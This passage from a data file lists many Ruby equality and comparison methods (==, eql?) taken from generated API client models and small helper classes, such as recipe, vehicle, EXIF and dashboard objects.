other.attributes[\"_id\"]\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n upload_time == o.upload_time &&\n polar_user == o.polar_user &&\n device == o.device &&\n start_time == o.start_time &&\n duration == o.duration &&\n calories == o.calories &&\n distance == o.distance &&\n heart_rate == o.heart_rate &&\n training_load == o.training_load &&\n sport == o.sport &&\n has_route == o.has_route &&\n club_id == o.club_id &&\n club_name == o.club_name &&\n detailed_sport_info == o.detailed_sport_info\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n title == o.title &&\n image == o.image &&\n image_type == o.image_type &&\n servings == o.servings &&\n ready_in_minutes == o.ready_in_minutes &&\n license == o.license &&\n source_name == o.source_name &&\n source_url == o.source_url &&\n spoonacular_source_url == o.spoonacular_source_url &&\n aggregate_likes == o.aggregate_likes &&\n health_score == o.health_score &&\n spoonacular_score == o.spoonacular_score &&\n price_per_serving == o.price_per_serving &&\n analyzed_instructions == o.analyzed_instructions &&\n cheap == o.cheap &&\n credits_text == o.credits_text &&\n cuisines == o.cuisines &&\n dairy_free == o.dairy_free &&\n diets == o.diets &&\n gaps == o.gaps &&\n gluten_free == o.gluten_free &&\n instructions == o.instructions &&\n ketogenic == o.ketogenic &&\n low_fodmap == o.low_fodmap &&\n occasions == o.occasions &&\n sustainable == o.sustainable &&\n vegan == o.vegan &&\n vegetarian == o.vegetarian &&\n very_healthy == o.very_healthy &&\n very_popular == o.very_popular &&\n whole30 == o.whole30 &&\n weight_watcher_smart_points == o.weight_watcher_smart_points &&\n dish_types == o.dish_types &&\n extended_ingredients == o.extended_ingredients &&\n summary == o.summary &&\n wine_pairing == o.wine_pairing\n end", "def ==(other)\n self.title == other.title &&\n self.date == other.date &&\n self.result_type == other.result_type &&\n self.url == other.url\n end", "def ==(other) # :nodoc:\n @attrs == other.attrs\n end", "def ==(other)\n attributes == other.attributes\n end", "def == other\n @avi == other.avi\n end", "def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end", "def eql?(object)\n self.class.equal?(object.class) && attributes == object.attributes\n end", "def ==(other)\n other.present? && self.attributes == other.attributes\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n assets == o.assets &&\n duration == o.duration &&\n enabled == o.enabled &&\n id == o.id &&\n links == o.links &&\n next_runtimes == o.next_runtimes &&\n on_scan_repeat == o.on_scan_repeat &&\n repeat == o.repeat &&\n scan_engine_id == o.scan_engine_id &&\n scan_name == o.scan_name &&\n scan_template_id == o.scan_template_id &&\n start == o.start\n end", "def dirty?\n result = false\n if @original_movie.nil?\n result = true\n else\n @movie.each do |key, value|\n if @original_movie[key].nil?\n result = true\n break\n end\n if @movie[key].to_s != @original_movie[key].to_s\n result = true\n break\n end\n end\n unless result\n diff_keys = @movie.keys.sort - @original_movie.keys.sort\n unless diff_keys.empty?\n result = true\n end\n end\n end\n result\n end", "def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end", "def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end", "def compare_movies movie1, movie2\n # First compare the titles of the movies\n if (movie1.title.downcase <=> movie2.title.downcase) == 0\n if (movie1.year <=> movie2.year) == 0\n if (movie1.runtime <=> movie2.runtime) == 0\n movie1.genres.downcase <=> movie2.genres.downcase\n else\n movie1.runtime <=> movie2.runtime\n end\n else\n movie1.year <=> movie2.year\n end\n else\n movie1.title.downcase <=> movie2.title.downcase\n end\nend", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n height == o.height &&\n id == o.id &&\n is_mobile == o.is_mobile &&\n name == o.name &&\n width == o.width\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n actor == o.actor &&\n artist == o.artist &&\n aspect_ratio == o.aspect_ratio &&\n audience_rating == o.audience_rating &&\n author == o.author &&\n back_finding == o.back_finding &&\n band_material_type == o.band_material_type &&\n binding == o.binding &&\n bluray_region == o.bluray_region &&\n brand == o.brand &&\n cero_age_rating == o.cero_age_rating &&\n chain_type == o.chain_type &&\n clasp_type == o.clasp_type &&\n color == o.color &&\n cpu_manufacturer == o.cpu_manufacturer &&\n cpu_speed == o.cpu_speed &&\n cpu_type == o.cpu_type &&\n creator == o.creator &&\n department == o.department &&\n director == o.director &&\n display_size == o.display_size &&\n edition == o.edition &&\n episode_sequence == o.episode_sequence &&\n esrb_age_rating == o.esrb_age_rating &&\n feature == o.feature &&\n flavor == o.flavor &&\n format == o.format &&\n gem_type == o.gem_type &&\n genre == o.genre &&\n golf_club_flex == o.golf_club_flex &&\n golf_club_loft == o.golf_club_loft &&\n hand_orientation == o.hand_orientation &&\n hard_disk_interface == o.hard_disk_interface &&\n hard_disk_size == o.hard_disk_size &&\n hardware_platform == o.hardware_platform &&\n hazardous_material_type == o.hazardous_material_type &&\n item_dimensions == o.item_dimensions &&\n is_adult_product == o.is_adult_product &&\n is_autographed == o.is_autographed &&\n is_eligible_for_trade_in == o.is_eligible_for_trade_in &&\n is_memorabilia == o.is_memorabilia &&\n issues_per_year == o.issues_per_year &&\n item_part_number == o.item_part_number &&\n label == o.label &&\n languages == o.languages &&\n legal_disclaimer == o.legal_disclaimer &&\n list_price == o.list_price &&\n manufacturer == o.manufacturer &&\n manufacturer_maximum_age == o.manufacturer_maximum_age &&\n manufacturer_minimum_age == o.manufacturer_minimum_age &&\n manufacturer_parts_warranty_description == o.manufacturer_parts_warranty_description &&\n material_type == o.material_type &&\n maximum_resolution == o.maximum_resolution &&\n media_type == o.media_type &&\n metal_stamp == o.metal_stamp &&\n metal_type == o.metal_type &&\n model == o.model &&\n number_of_discs == o.number_of_discs &&\n number_of_issues == o.number_of_issues &&\n number_of_items == o.number_of_items &&\n number_of_pages == o.number_of_pages &&\n number_of_tracks == o.number_of_tracks &&\n operating_system == o.operating_system &&\n optical_zoom == o.optical_zoom &&\n package_dimensions == o.package_dimensions &&\n package_quantity == o.package_quantity &&\n part_number == o.part_number &&\n pegi_rating == o.pegi_rating &&\n platform == o.platform &&\n processor_count == o.processor_count &&\n product_group == o.product_group &&\n product_type_name == o.product_type_name &&\n product_type_subcategory == o.product_type_subcategory &&\n publication_date == o.publication_date &&\n publisher == o.publisher &&\n region_code == o.region_code &&\n release_date == o.release_date &&\n ring_size == o.ring_size &&\n running_time == o.running_time &&\n shaft_material == o.shaft_material &&\n scent == o.scent &&\n season_sequence == o.season_sequence &&\n seikodo_product_code == o.seikodo_product_code &&\n size == o.size &&\n size_per_pearl == o.size_per_pearl &&\n small_image == o.small_image &&\n studio == o.studio &&\n subscription_length == o.subscription_length &&\n system_memory_size == o.system_memory_size &&\n system_memory_type == o.system_memory_type &&\n theatrical_release_date == o.theatrical_release_date &&\n title == o.title &&\n total_diamond_weight == o.total_diamond_weight &&\n total_gem_weight == o.total_gem_weight &&\n warranty == o.warranty &&\n weee_tax_value == o.weee_tax_value\n end", "def equal?(other)\n other.respond_to?(:mol) && mol.equal?(other.mol) && id == other.id \n end", "def == other\n self.class === other and @title == other.title\n end", "def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n type == o.type &&\n id == o.id &&\n updated_at == o.updated_at &&\n version == o.version &&\n is_deleted == o.is_deleted &&\n catalog_v1_ids == o.catalog_v1_ids &&\n present_at_all_locations == o.present_at_all_locations &&\n present_at_location_ids == o.present_at_location_ids &&\n absent_at_location_ids == o.absent_at_location_ids &&\n item_data == o.item_data &&\n category_data == o.category_data &&\n item_variation_data == o.item_variation_data &&\n tax_data == o.tax_data &&\n discount_data == o.discount_data &&\n modifier_list_data == o.modifier_list_data &&\n modifier_data == o.modifier_data\n end", "def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end", "def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end", "def ==(other)\n id == other.id && url == other.url\n end", "def eql?(comparison_object)\n self.class.equal?(comparison_object.class) &&\n @note == comparison_object.note &&\n @duration == comparison_object.duration\n end", "def object_equal(obj1, obj2)\n vars1 = obj1.instance_variables\n vars2 = obj2.instance_variables\n return false unless vars1.length == vars2.length\n # if they don't have exactly the same instance_variables names then return false\n return false unless vars1.map(&:to_s).sort.to_s == vars2.map(&:to_s).sort.to_s\n\n equal = true\n some(vars1, proc { |v|\n val1 = obj1.instance_variable_get(v)\n val2 = obj2.instance_variable_get(v)\n if val1 != val2\n equal = false\n true\n else\n false\n end\n })\n equal\nend", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attribute == o.attribute &&\n statistics == o.statistics &&\n other == o.other &&\n total == o.total &&\n missing == o.missing &&\n term_count == o.term_count &&\n term_type == o.term_type &&\n terms == o.terms\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n affiliate_rate == o.affiliate_rate &&\n campaign_id == o.campaign_id &&\n category == o.category &&\n client_review == o.client_review &&\n create_date == o.create_date &&\n currency_code == o.currency_code &&\n description == o.description &&\n document_id == o.document_id &&\n fee_amount == o.fee_amount &&\n fee_type == o.fee_type &&\n financial_rate == o.financial_rate &&\n financial_rate_term == o.financial_rate_term &&\n financial_rate_term_unit == o.financial_rate_term_unit &&\n financial_rate_type == o.financial_rate_type &&\n id == o.id &&\n image == o.image &&\n institution_name == o.institution_name &&\n is_active == o.is_active &&\n metadata == o.metadata &&\n minimum_contribution == o.minimum_contribution &&\n minimum_contribution_term == o.minimum_contribution_term &&\n minimum_contribution_term_unit == o.minimum_contribution_term_unit &&\n name == o.name &&\n node_map == o.node_map &&\n offer_link == o.offer_link &&\n offer_term == o.offer_term &&\n offer_term_unit == o.offer_term_unit &&\n prerequisite == o.prerequisite &&\n prerequisite_type == o.prerequisite_type &&\n rating == o.rating &&\n secondary_id == o.secondary_id &&\n subcategory == o.subcategory &&\n update_date == o.update_date\n end", "def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n year == o.year &&\n make == o.make &&\n model == o.model &&\n trim == o.trim &&\n short_trim == o.short_trim &&\n body_type == o.body_type &&\n body_subtype == o.body_subtype &&\n vehicle_type == o.vehicle_type &&\n transmission == o.transmission &&\n drivetrain == o.drivetrain &&\n fuel_type == o.fuel_type &&\n engine == o.engine &&\n engine_size == o.engine_size &&\n engine_block == o.engine_block &&\n doors == o.doors &&\n cylinders == o.cylinders &&\n made_in == o.made_in &&\n steering_type == o.steering_type &&\n antibrake_sys == o.antibrake_sys &&\n tank_size == o.tank_size &&\n overall_height == o.overall_height &&\n overall_length == o.overall_length &&\n overall_width == o.overall_width &&\n std_seating == o.std_seating &&\n opt_seating == o.opt_seating &&\n highway_miles == o.highway_miles &&\n city_miles == o.city_miles &&\n engine_measure == o.engine_measure &&\n engine_aspiration == o.engine_aspiration &&\n trim_r == o.trim_r\n end", "def ==(other)\n if self.class.attribute_names.include?('id')\n if other.is_a?(::Numeric)\n id == other\n elsif other.class == self.class\n id == other.id\n else\n false\n end\n else\n self.inspect == other.inspect\n end\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n author == o.author &&\n created == o.created &&\n icon == o.icon &&\n id == o.id &&\n integration_id == o.integration_id &&\n is_favorite == o.is_favorite &&\n is_read_only == o.is_read_only &&\n is_shared == o.is_shared &&\n modified == o.modified &&\n popularity == o.popularity &&\n tags == o.tags &&\n title == o.title &&\n type == o.type &&\n url == o.url\n end", "def eql?(obj)\n (obj.class == model) && (obj.values == @values)\n end", "def eql?(obj)\n (obj.class == model) && (obj.values == @values)\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n additional_query_filters == o.additional_query_filters &&\n global_time_target == o.global_time_target &&\n show_error_budget == o.show_error_budget &&\n slo_id == o.slo_id &&\n time_windows == o.time_windows &&\n title == o.title &&\n title_align == o.title_align &&\n title_size == o.title_size &&\n type == o.type &&\n view_mode == o.view_mode &&\n view_type == o.view_type\n end", "def ==(other)\n return false unless other.is_a?(self.class)\n\n id == other.id &&\n title == other.title &&\n updated_at == other.updated_at &&\n link == other.link &&\n author == other.author &&\n content == other.content\n end", "def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end", "def eql?(other)\n return false if (other.nil? or self.class != other.class)\n ova = other.instance_variables\n iv = instance_variables\n return false if ova.size != iv.size\n iv.each do |vid|\n return false if instance_variable_get(vid) != other.instance_variable_get(vid)\n end\n true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n click_rate_formatted == o.click_rate_formatted &&\n created_dts == o.created_dts &&\n deleted == o.deleted &&\n email_campaign_uuid == o.email_campaign_uuid &&\n email_communication_sequence_uuid == o.email_communication_sequence_uuid &&\n end_once_customer_purchases == o.end_once_customer_purchases &&\n end_once_customer_purchases_anywhere == o.end_once_customer_purchases_anywhere &&\n esp_campaign_folder_uuid == o.esp_campaign_folder_uuid &&\n esp_domain_user == o.esp_domain_user &&\n esp_domain_uuid == o.esp_domain_uuid &&\n esp_friendly_name == o.esp_friendly_name &&\n library_item_oid == o.library_item_oid &&\n memberships == o.memberships &&\n merchant_id == o.merchant_id &&\n name == o.name &&\n open_rate_formatted == o.open_rate_formatted &&\n prevent_sending_due_to_spam == o.prevent_sending_due_to_spam &&\n revenue_formatted == o.revenue_formatted &&\n revenue_per_customer_formatted == o.revenue_per_customer_formatted &&\n scheduled_dts == o.scheduled_dts &&\n screenshot_large_full_url == o.screenshot_large_full_url &&\n sms_esp_twilio_uuid == o.sms_esp_twilio_uuid &&\n sms_phone_number == o.sms_phone_number &&\n status == o.status &&\n status_dts == o.status_dts &&\n storefront_oid == o.storefront_oid\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n activity_id == o.activity_id &&\n blueprint_id == o.blueprint_id &&\n blueprint_location_id == o.blueprint_location_id &&\n blueprint_type_id == o.blueprint_type_id &&\n completed_character_id == o.completed_character_id &&\n completed_date == o.completed_date &&\n cost == o.cost &&\n duration == o.duration &&\n end_date == o.end_date &&\n facility_id == o.facility_id &&\n installer_id == o.installer_id &&\n job_id == o.job_id &&\n licensed_runs == o.licensed_runs &&\n output_location_id == o.output_location_id &&\n pause_date == o.pause_date &&\n probability == o.probability &&\n product_type_id == o.product_type_id &&\n runs == o.runs &&\n start_date == o.start_date &&\n station_id == o.station_id &&\n status == o.status &&\n successful_runs == o.successful_runs\n end", "def objects_equal?(other)\n other.is_a?(Linkage::MetaObject) && other.object == self.object\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n query == o.query &&\n sample_rate == o.sample_rate\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n avatar == o.avatar &&\n banner == o.banner &&\n created_at == o.created_at &&\n description == o.description &&\n handle == o.handle &&\n hidden_modules == o.hidden_modules &&\n link_count == o.link_count &&\n modified_at == o.modified_at &&\n name == o.name &&\n summary == o.summary &&\n user_count == o.user_count &&\n visible_modules == o.visible_modules\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n camera_type == o.camera_type &&\n field_of_view_angle == o.field_of_view_angle &&\n zoom == o.zoom &&\n x_rotation == o.x_rotation &&\n y_rotation == o.y_rotation &&\n z_rotation == o.z_rotation\n end", "def ==(other)\n return false if other.class != self.class\n if @duration != other.duration\n return false\n end\n return true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n sequence_number == o.sequence_number &&\n corporate_number == o.corporate_number &&\n process == o.process &&\n correct == o.correct &&\n update_date == o.update_date &&\n change_date == o.change_date &&\n name == o.name &&\n name_image_id == o.name_image_id &&\n kind == o.kind &&\n prefecture_name == o.prefecture_name &&\n city_name == o.city_name &&\n street_number == o.street_number &&\n address_image_id == o.address_image_id &&\n prefecture_code == o.prefecture_code &&\n city_code == o.city_code &&\n post_code == o.post_code &&\n address_outside == o.address_outside &&\n address_outside_image_id == o.address_outside_image_id &&\n close_date == o.close_date &&\n close_cause == o.close_cause &&\n successor_corporate_number == o.successor_corporate_number &&\n change_cause == o.change_cause &&\n assignment_date == o.assignment_date &&\n latest == o.latest &&\n en_name == o.en_name &&\n en_prefecture_name == o.en_prefecture_name &&\n en_city_name == o.en_city_name &&\n en_address_outside == o.en_address_outside &&\n furigana == o.furigana &&\n hihyoji == o.hihyoji\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n duration == o.duration &&\n rrule == o.rrule &&\n start == o.start\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n aperture_value == o.aperture_value &&\n body_serial_number == o.body_serial_number &&\n brightness_value == o.brightness_value &&\n cfa_pattern == o.cfa_pattern &&\n camera_owner_name == o.camera_owner_name &&\n color_space == o.color_space &&\n components_configuration == o.components_configuration &&\n compressed_bits_per_pixel == o.compressed_bits_per_pixel &&\n contrast == o.contrast &&\n custom_rendered == o.custom_rendered &&\n date_time_digitized == o.date_time_digitized &&\n date_time_original == o.date_time_original &&\n device_setting_description == o.device_setting_description &&\n digital_zoom_ratio == o.digital_zoom_ratio &&\n exif_version == o.exif_version &&\n exposure_bias_value == o.exposure_bias_value &&\n exposure_index == o.exposure_index &&\n exposure_mode == o.exposure_mode &&\n exposure_program == o.exposure_program &&\n exposure_time == o.exposure_time &&\n f_number == o.f_number &&\n file_source == o.file_source &&\n flash == o.flash &&\n flash_energy == o.flash_energy &&\n flashpix_version == o.flashpix_version &&\n focal_length == o.focal_length &&\n focal_length_in35_mm_film == o.focal_length_in35_mm_film &&\n focal_plane_resolution_unit == o.focal_plane_resolution_unit &&\n focal_plane_x_resolution == o.focal_plane_x_resolution &&\n focal_plane_y_resolution == o.focal_plane_y_resolution &&\n gps_altitude == o.gps_altitude &&\n gps_altitude_ref == o.gps_altitude_ref &&\n gps_area_information == o.gps_area_information &&\n gpsdop == o.gpsdop &&\n gps_dest_bearing == o.gps_dest_bearing &&\n gps_dest_bearing_ref == o.gps_dest_bearing_ref &&\n gps_dest_distance == o.gps_dest_distance &&\n gps_dest_distance_ref == o.gps_dest_distance_ref &&\n gps_dest_latitude == o.gps_dest_latitude &&\n gps_dest_latitude_ref == o.gps_dest_latitude_ref &&\n gps_dest_longitude == o.gps_dest_longitude &&\n gps_dest_longitude_ref == o.gps_dest_longitude_ref &&\n gps_differential == o.gps_differential &&\n gps_img_direction == o.gps_img_direction &&\n gps_img_direction_ref == o.gps_img_direction_ref &&\n gps_date_stamp == o.gps_date_stamp &&\n gps_latitude == o.gps_latitude &&\n gps_latitude_ref == o.gps_latitude_ref &&\n gps_longitude == o.gps_longitude &&\n gps_longitude_ref == o.gps_longitude_ref &&\n gps_map_datum == o.gps_map_datum &&\n gps_measure_mode == o.gps_measure_mode &&\n gps_processing_method == o.gps_processing_method &&\n gps_satellites == o.gps_satellites &&\n gps_speed == o.gps_speed &&\n gps_speed_ref == o.gps_speed_ref &&\n gps_status == o.gps_status &&\n gps_timestamp == o.gps_timestamp &&\n gps_track == o.gps_track &&\n gps_track_ref == o.gps_track_ref &&\n gps_version_id == o.gps_version_id &&\n gain_control == o.gain_control &&\n gamma == o.gamma &&\n iso_speed == o.iso_speed &&\n iso_speed_latitude_yyy == o.iso_speed_latitude_yyy &&\n iso_speed_latitude_zzz == o.iso_speed_latitude_zzz &&\n photographic_sensitivity == o.photographic_sensitivity &&\n image_unique_id == o.image_unique_id &&\n lens_make == o.lens_make &&\n lens_model == o.lens_model &&\n lens_serial_number == o.lens_serial_number &&\n lens_specification == o.lens_specification &&\n light_source == o.light_source &&\n maker_note_raw_data == o.maker_note_raw_data &&\n max_aperture_value == o.max_aperture_value &&\n metering_mode == o.metering_mode &&\n oecf == o.oecf &&\n pixel_x_dimension == o.pixel_x_dimension &&\n pixel_y_dimension == o.pixel_y_dimension &&\n recommended_exposure_index == o.recommended_exposure_index &&\n related_sound_file == o.related_sound_file &&\n saturation == o.saturation &&\n scene_capture_type == o.scene_capture_type &&\n scene_type == o.scene_type &&\n sensing_method == o.sensing_method &&\n sensitivity_type == o.sensitivity_type &&\n sharpness == o.sharpness &&\n shutter_speed_value == o.shutter_speed_value &&\n spatial_frequency_response == o.spatial_frequency_response &&\n spectral_sensitivity == o.spectral_sensitivity &&\n standard_output_sensitivity == o.standard_output_sensitivity &&\n subject_area == o.subject_area &&\n subject_distance == o.subject_distance &&\n subject_distance_range == o.subject_distance_range &&\n subject_location == o.subject_location &&\n subsec_time == o.subsec_time &&\n subsec_time_digitized == o.subsec_time_digitized &&\n subsec_time_original == o.subsec_time_original &&\n user_comment == o.user_comment &&\n white_balance == o.white_balance &&\n white_point == o.white_point\n end", "def ==(other)\n @klass == other.klass && @version == other.version && @timestamp == other.timestamp\n end", "def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n __meta == o.__meta &&\n created_at == o.created_at &&\n updated_at == o.updated_at &&\n customer == o.customer &&\n reusable == o.reusable &&\n status == o.status &&\n token == o.token\n end", "def ==(other)\n _feed_name == other._feed_name && id == other.id\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n destination == o.destination &&\n include_tags == o.include_tags &&\n name == o.name &&\n query == o.query &&\n rehydration_max_scan_size_in_gb == o.rehydration_max_scan_size_in_gb &&\n rehydration_tags == o.rehydration_tags\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n author_handle == o.author_handle &&\n author_name == o.author_name &&\n created_at == o.created_at &&\n description == o.description &&\n id == o.id &&\n is_read_only == o.is_read_only &&\n layout_type == o.layout_type &&\n modified_at == o.modified_at &&\n notify_list == o.notify_list &&\n reflow_type == o.reflow_type &&\n restricted_roles == o.restricted_roles &&\n tags == o.tags &&\n template_variable_presets == o.template_variable_presets &&\n template_variables == o.template_variables &&\n title == o.title &&\n url == o.url &&\n widgets == o.widgets\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n merchant_id == o.merchant_id &&\n capacity == o.capacity &&\n area_id == o.area_id &&\n date_time == o.date_time &&\n order_id == o.order_id &&\n extra_info == o.extra_info &&\n promo_code == o.promo_code &&\n credit_card_vault_settings_id == o.credit_card_vault_settings_id &&\n recurring_card_detail_id == o.recurring_card_detail_id &&\n deals == o.deals\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n digits == o.digits &&\n refresh_interval == o.refresh_interval\n end", "def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n active == o.active &&\n additional_properties == o.additional_properties &&\n author == o.author &&\n authored == o.authored &&\n banned == o.banned &&\n category == o.category &&\n comments == o.comments &&\n contributors == o.contributors &&\n created_date == o.created_date &&\n embed == o.embed &&\n extension == o.extension &&\n height == o.height &&\n id == o.id &&\n length == o.length &&\n location == o.location &&\n long_description == o.long_description &&\n mime_type == o.mime_type &&\n name == o.name &&\n priority == o.priority &&\n privacy == o.privacy &&\n published == o.published &&\n short_description == o.short_description &&\n size == o.size &&\n tags == o.tags &&\n template == o.template &&\n thumbnail == o.thumbnail &&\n updated_date == o.updated_date &&\n uploader == o.uploader &&\n views == o.views &&\n width == o.width\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n data_vencimento_fatura_atraso == o.data_vencimento_fatura_atraso &&\n quantidade_dias_atraso == o.quantidade_dias_atraso &&\n data_vencimento_acordo == o.data_vencimento_acordo &&\n quantidade_dias_atraso_corrigido == o.quantidade_dias_atraso_corrigido &&\n valor_saldo_devedor == o.valor_saldo_devedor &&\n taxa_correcao == o.taxa_correcao &&\n valor_correcao == o.valor_correcao &&\n valor_iof == o.valor_iof &&\n valor_saldo_corrigido == o.valor_saldo_corrigido &&\n id_status_conta == o.id_status_conta &&\n descricao_status_conta == o.descricao_status_conta &&\n id_status_acordo == o.id_status_acordo &&\n descricao_status_acordo == o.descricao_status_acordo &&\n id_escritorio_cobranca == o.id_escritorio_cobranca &&\n nome_escritorio_cobranca == o.nome_escritorio_cobranca &&\n email_pessoa_conta == o.email_pessoa_conta\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n file_id == o.file_id &&\n output_version == o.output_version &&\n image_quality == o.image_quality &&\n recompress_images == o.recompress_images &&\n enable_color_detection == o.enable_color_detection &&\n pack_document == o.pack_document &&\n pack_fonts == o.pack_fonts &&\n downscale_images == o.downscale_images &&\n downscale_resolution == o.downscale_resolution &&\n fast_web_view == o.fast_web_view &&\n remove_form_fields == o.remove_form_fields &&\n remove_annotations == o.remove_annotations &&\n remove_bookmarks == o.remove_bookmarks &&\n remove_hyperlinks == o.remove_hyperlinks &&\n remove_embedded_files == o.remove_embedded_files &&\n remove_blank_pages == o.remove_blank_pages &&\n remove_java_script == o.remove_java_script &&\n enable_jpeg2000 == o.enable_jpeg2000 &&\n enable_jbig2 == o.enable_jbig2 &&\n enable_char_repair == o.enable_char_repair &&\n enable_mrc == o.enable_mrc &&\n preserve_smoothing == o.preserve_smoothing &&\n downscale_resolution_mrc == o.downscale_resolution_mrc &&\n remove_metadata == o.remove_metadata &&\n remove_page_thumbnails == o.remove_page_thumbnails &&\n remove_page_piece_info == o.remove_page_piece_info &&\n jbig2_pms_threshold == o.jbig2_pms_threshold\n end", "def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end", "def ==(other)\n return false if !other\n data == other.data && version == other.version\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n tire_pressure == o.tire_pressure &&\n rim == o.rim &&\n rim_diameter == o.rim_diameter &&\n rim_width == o.rim_width &&\n rim_offset == o.rim_offset &&\n tire == o.tire &&\n tire_sizing_system == o.tire_sizing_system &&\n tire_construction == o.tire_construction &&\n tire_width == o.tire_width &&\n tire_aspect_ratio == o.tire_aspect_ratio &&\n tire_diameter == o.tire_diameter &&\n tire_section_width == o.tire_section_width &&\n tire_is_82series == o.tire_is_82series &&\n load_index == o.load_index &&\n speed_index == o.speed_index\n end", "def ==(obj)\n (obj.class == model) && (obj.values == @values)\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n event_count == o.event_count &&\n hour == o.hour &&\n index_id == o.index_id &&\n index_name == o.index_name &&\n org_name == o.org_name &&\n public_id == o.public_id &&\n retention == o.retention\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n adwords_grouping == o.adwords_grouping &&\n adwords_label1 == o.adwords_label1 &&\n adwords_label2 == o.adwords_label2 &&\n adwords_label3 == o.adwords_label3 &&\n adwords_label4 == o.adwords_label4 &&\n adwords_label5 == o.adwords_label5 &&\n age_group == o.age_group &&\n available_at_physical_store == o.available_at_physical_store &&\n book_author == o.book_author &&\n book_format == o.book_format &&\n book_isbn == o.book_isbn &&\n book_publisher == o.book_publisher &&\n category_description == o.category_description &&\n color == o.color &&\n condition == o.condition &&\n custom_label0 == o.custom_label0 &&\n custom_label1 == o.custom_label1 &&\n custom_label2 == o.custom_label2 &&\n custom_label3 == o.custom_label3 &&\n custom_label4 == o.custom_label4 &&\n gender == o.gender &&\n google_product_category == o.google_product_category &&\n music_artist == o.music_artist &&\n music_format == o.music_format &&\n music_release_date == o.music_release_date &&\n omit_from_feed == o.omit_from_feed &&\n product_type == o.product_type &&\n promotion_id1 == o.promotion_id1 &&\n promotion_id10 == o.promotion_id10 &&\n promotion_id2 == o.promotion_id2 &&\n promotion_id3 == o.promotion_id3 &&\n promotion_id4 == o.promotion_id4 &&\n promotion_id5 == o.promotion_id5 &&\n promotion_id6 == o.promotion_id6 &&\n promotion_id7 == o.promotion_id7 &&\n promotion_id8 == o.promotion_id8 &&\n promotion_id9 == o.promotion_id9 &&\n search_dts == o.search_dts &&\n search_lowest_price == o.search_lowest_price &&\n search_lowest_url == o.search_lowest_url &&\n search_position == o.search_position &&\n shipping_label == o.shipping_label &&\n size == o.size &&\n video_director == o.video_director &&\n video_format == o.video_format &&\n video_rating == o.video_rating &&\n video_release_date == o.video_release_date &&\n video_starring == o.video_starring\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n task_id == o.task_id &&\n name == o.name &&\n workflow_type == o.workflow_type &&\n workflow_action == o.workflow_action &&\n source_type == o.source_type &&\n destination_type == o.destination_type &&\n status == o.status &&\n log_time == o.log_time &&\n job_started == o.job_started &&\n job_finished == o.job_finished &&\n to_process_size == o.to_process_size &&\n processed_size == o.processed_size &&\n to_process_files == o.to_process_files &&\n processed_files == o.processed_files &&\n finalized_files == o.finalized_files &&\n estimation_time == o.estimation_time &&\n bandwidth == o.bandwidth\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n is_blueprint_copy == o.is_blueprint_copy &&\n is_included == o.is_included &&\n item_id == o.item_id &&\n material_efficiency == o.material_efficiency &&\n quantity == o.quantity &&\n record_id == o.record_id &&\n runs == o.runs &&\n time_efficiency == o.time_efficiency &&\n type_id == o.type_id\n end", "def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n from_ts == o.from_ts &&\n group_by == o.group_by &&\n groups == o.groups &&\n monitors == o.monitors &&\n overall == o.overall &&\n series == o.series &&\n thresholds == o.thresholds &&\n to_ts == 